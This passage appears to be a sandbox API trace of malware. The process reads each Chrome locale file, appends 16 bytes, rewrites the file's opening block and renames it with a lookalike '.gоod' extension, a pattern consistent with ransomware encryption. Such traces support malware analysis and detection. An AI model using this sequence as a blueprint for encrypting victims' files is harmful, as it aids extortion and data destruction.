(x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\sr.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\sr.pak"), fInfoLevelId=0x0, lpFileInformation=0x37a83c8 | out: lpFileInformation=0x37a83c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe45fabb3, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe45fabb3, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51d0abc4, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x6b5a7)) returned 1 [0132.092] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeba90) returned 1 [0132.092] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\sr.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\sr.pak", lpFilePart=0x0) returned 0x4c [0132.092] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0132.093] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\sr.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\sr.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x640 [0132.093] GetFileType (hFile=0x640) returned 0x1 [0132.093] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0132.093] GetFileType (hFile=0x640) returned 0x1 [0132.093] SetFilePointer (in: hFile=0x640, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fbebb28*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fbebb28*=0) returned 0x1000 [0132.093] ReadFile (in: hFile=0x640, lpBuffer=0x37a87e0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbebaf8, lpOverlapped=0x0 | out: lpBuffer=0x37a87e0*, lpNumberOfBytesRead=0x1fbebaf8*=0x1000, lpOverlapped=0x0) returned 1 [0132.094] CloseHandle (hObject=0x640) returned 1 [0132.094] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\sr.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\sr.pak", lpFilePart=0x0) returned 0x4c [0132.094] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0132.094] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\sr.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\sr.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x640 [0132.095] GetFileType (hFile=0x640) returned 0x1 [0132.095] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0132.095] GetFileType (hFile=0x640) returned 0x1 [0132.095] SetFilePointer (in: hFile=0x640, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fbebb28*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fbebb28*=0) returned 0x6b5a7 [0132.095] WriteFile (in: hFile=0x640, lpBuffer=0x37a9a78*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fbeba18, lpOverlapped=0x0 | out: lpBuffer=0x37a9a78*, lpNumberOfBytesWritten=0x1fbeba18*=0x10, lpOverlapped=0x0) returned 1 [0132.220] CloseHandle (hObject=0x640) returned 1 [0133.197] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\sr.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\sr.pak", lpFilePart=0x0) returned 0x4c [0133.197] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0133.197] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\sr.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\sr.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0133.746] GetFileType (hFile=0x630) returned 0x1 [0133.746] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0133.746] GetFileType (hFile=0x630) returned 0x1 [0133.746] ReadFile (in: hFile=0x630, lpBuffer=0x36fbb30, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbebaa8, lpOverlapped=0x0 | out: lpBuffer=0x36fbb30*, lpNumberOfBytesRead=0x1fbebaa8*=0x1000, lpOverlapped=0x0) returned 1 [0133.775] CloseHandle (hObject=0x630) returned 1 [0133.776] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\sr.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\sr.pak", lpFilePart=0x0) returned 0x4c [0133.776] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0133.776] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\sr.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\sr.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0133.776] GetFileType (hFile=0x630) returned 0x1 [0133.776] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0133.776] GetFileType (hFile=0x630) returned 0x1 [0133.776] WriteFile (in: hFile=0x630, lpBuffer=0x36841b8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fbebb58, lpOverlapped=0x0 | out: lpBuffer=0x36841b8*, lpNumberOfBytesWritten=0x1fbebb58*=0x1010, lpOverlapped=0x0) returned 1 [0133.776] CloseHandle (hObject=0x630) returned 1 [0133.776] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\sr.pak", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\sr.pak", lpFilePart=0x0) returned 0x4c [0133.776] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\sr.pak.gоod", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\sr.pak.gоod", lpFilePart=0x0) returned 0x51 [0133.776] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeba90) returned 1 [0133.776] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\sr.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\sr.pak"), fInfoLevelId=0x0, lpFileInformation=0x1fbebb70 | out: lpFileInformation=0x1fbebb70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe45fabb3, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe45fabb3, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x4bf42443, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x6b5b7)) returned 1 [0133.777] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeba50) returned 1 [0133.777] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\sr.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\sr.pak"), lpNewFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\sr.pak.gоod" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\sr.pak.gоod")) returned 1 [0133.778] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\sv.pak", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\sv.pak", lpFilePart=0x0) returned 0x4c [0133.778] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbebad0) returned 1 [0133.778] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\sv.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\sv.pak"), fInfoLevelId=0x0, lpFileInformation=0x37782a0 | out: lpFileInformation=0x37782a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe45fabb3, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe45fabb3, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51d16f14, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x40eb3)) returned 1 [0133.778] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeba90) returned 1 [0133.779] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\sv.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\sv.pak", lpFilePart=0x0) returned 0x4c [0133.779] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0133.779] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\sv.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\sv.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0133.779] GetFileType (hFile=0x630) returned 0x1 [0133.779] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0133.779] GetFileType (hFile=0x630) returned 0x1 [0133.779] SetFilePointer (in: hFile=0x630, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fbebb28*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fbebb28*=0) returned 0x1000 [0133.779] ReadFile (in: hFile=0x630, lpBuffer=0x37786b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbebaf8, lpOverlapped=0x0 | out: lpBuffer=0x37786b8*, lpNumberOfBytesRead=0x1fbebaf8*=0x1000, lpOverlapped=0x0) returned 1 [0134.137] CloseHandle (hObject=0x630) returned 1 [0134.146] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\sv.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\sv.pak", lpFilePart=0x0) returned 0x4c [0134.146] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0134.146] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\sv.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\sv.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0134.146] GetFileType (hFile=0x644) returned 0x1 [0134.166] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0134.166] GetFileType (hFile=0x644) returned 0x1 [0134.166] SetFilePointer (in: hFile=0x644, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fbebb28*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fbebb28*=0) returned 0x40eb3 [0134.166] WriteFile (in: hFile=0x644, lpBuffer=0x383b518*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fbeba18, lpOverlapped=0x0 | out: lpBuffer=0x383b518*, lpNumberOfBytesWritten=0x1fbeba18*=0x10, lpOverlapped=0x0) returned 1 [0134.167] CloseHandle (hObject=0x644) returned 1 [0134.168] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\sv.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\sv.pak", lpFilePart=0x0) returned 0x4c [0134.168] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0134.168] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\sv.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\sv.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0134.168] GetFileType (hFile=0x644) returned 0x1 [0134.168] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0134.168] GetFileType (hFile=0x644) returned 0x1 [0134.168] ReadFile (in: hFile=0x644, lpBuffer=0x383d808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbebaa8, lpOverlapped=0x0 | out: lpBuffer=0x383d808*, lpNumberOfBytesRead=0x1fbebaa8*=0x1000, lpOverlapped=0x0) returned 1 [0134.196] CloseHandle (hObject=0x644) returned 1 [0134.196] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\sv.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\sv.pak", lpFilePart=0x0) returned 0x4c [0134.196] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0134.196] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\sv.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\sv.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0134.196] GetFileType (hFile=0x644) returned 0x1 [0134.196] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0134.196] GetFileType (hFile=0x644) returned 0x1 [0134.196] WriteFile (in: hFile=0x644, lpBuffer=0x383c560*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fbebb58, lpOverlapped=0x0 | out: lpBuffer=0x383c560*, lpNumberOfBytesWritten=0x1fbebb58*=0x1010, lpOverlapped=0x0) returned 1 [0134.197] CloseHandle (hObject=0x644) returned 1 [0134.197] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\sv.pak", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\sv.pak", lpFilePart=0x0) returned 0x4c [0134.197] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\sv.pak.gоod", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\sv.pak.gоod", lpFilePart=0x0) returned 0x51 [0134.197] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeba90) returned 1 [0134.197] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\sv.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\sv.pak"), fInfoLevelId=0x0, lpFileInformation=0x1fbebb70 | out: lpFileInformation=0x1fbebb70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe45fabb3, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe45fabb3, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x4c3483d8, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x40ec3)) returned 1 [0134.197] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeba50) returned 1 [0134.197] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\sv.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\sv.pak"), lpNewFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\sv.pak.gоod" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\sv.pak.gоod")) returned 1 [0134.198] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\sw.pak", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\sw.pak", lpFilePart=0x0) returned 0x4c [0134.198] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbebad0) returned 1 [0134.198] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\sw.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\sw.pak"), fInfoLevelId=0x0, lpFileInformation=0x38baca8 | out: lpFileInformation=0x38baca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe45fabb3, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe45fabb3, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51d25974, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x3c37e)) returned 1 [0134.198] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeba90) returned 1 [0134.198] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\sw.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\sw.pak", lpFilePart=0x0) returned 0x4c [0134.198] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0134.198] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\sw.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\sw.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0134.198] GetFileType (hFile=0x644) returned 0x1 [0134.198] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0134.198] GetFileType (hFile=0x644) returned 0x1 [0134.198] SetFilePointer (in: hFile=0x644, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fbebb28*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fbebb28*=0) returned 0x1000 [0134.199] ReadFile (in: hFile=0x644, lpBuffer=0x38bb0c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbebaf8, lpOverlapped=0x0 | out: lpBuffer=0x38bb0c0*, lpNumberOfBytesRead=0x1fbebaf8*=0x1000, lpOverlapped=0x0) returned 1 [0134.471] CloseHandle (hObject=0x644) returned 1 [0134.725] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\sw.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\sw.pak", lpFilePart=0x0) returned 0x4c [0134.725] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0134.725] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\sw.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\sw.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0134.725] GetFileType (hFile=0x644) returned 0x1 [0134.725] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0134.725] GetFileType (hFile=0x644) returned 0x1 [0134.725] SetFilePointer (in: hFile=0x644, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fbebb28*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fbebb28*=0) returned 0x3c37e [0134.726] WriteFile (in: hFile=0x644, lpBuffer=0x3766680*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fbeba18, lpOverlapped=0x0 | out: lpBuffer=0x3766680*, lpNumberOfBytesWritten=0x1fbeba18*=0x10, lpOverlapped=0x0) returned 1 [0134.726] CloseHandle (hObject=0x644) returned 1 [0134.726] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\sw.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\sw.pak", lpFilePart=0x0) returned 0x4c [0134.727] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0134.727] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\sw.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\sw.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0134.727] GetFileType (hFile=0x644) returned 0x1 [0134.727] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0134.727] GetFileType (hFile=0x644) returned 0x1 [0134.727] ReadFile (in: hFile=0x644, lpBuffer=0x37689a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbebaa8, lpOverlapped=0x0 | out: lpBuffer=0x37689a0*, lpNumberOfBytesRead=0x1fbebaa8*=0x1000, lpOverlapped=0x0) returned 1 [0134.756] CloseHandle (hObject=0x644) returned 1 [0134.756] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\sw.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\sw.pak", lpFilePart=0x0) returned 0x4c [0134.756] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0134.756] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\sw.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\sw.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0134.757] GetFileType (hFile=0x644) returned 0x1 [0134.757] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0134.757] GetFileType (hFile=0x644) returned 0x1 [0134.757] WriteFile (in: hFile=0x644, lpBuffer=0x37676f8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fbebb58, lpOverlapped=0x0 | out: lpBuffer=0x37676f8*, lpNumberOfBytesWritten=0x1fbebb58*=0x1010, lpOverlapped=0x0) returned 1 [0134.757] CloseHandle (hObject=0x644) returned 1 [0134.757] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\sw.pak", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\sw.pak", lpFilePart=0x0) returned 0x4c [0134.757] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\sw.pak.gоod", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\sw.pak.gоod", lpFilePart=0x0) returned 0x51 [0134.757] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeba90) returned 1 [0134.757] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\sw.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\sw.pak"), fInfoLevelId=0x0, lpFileInformation=0x1fbebb70 | out: lpFileInformation=0x1fbebb70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe45fabb3, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe45fabb3, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x4c87f70e, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x3c38e)) returned 1 [0134.757] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeba50) returned 1 [0134.757] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\sw.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\sw.pak"), lpNewFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\sw.pak.gоod" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\sw.pak.gоod")) returned 1 [0134.758] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ta.pak", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ta.pak", lpFilePart=0x0) returned 0x4c [0134.758] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbebad0) returned 1 [0134.758] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ta.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\ta.pak"), fInfoLevelId=0x0, lpFileInformation=0x37e4ed8 | out: lpFileInformation=0x37e4ed8*(dwFileAttributes=0x20, 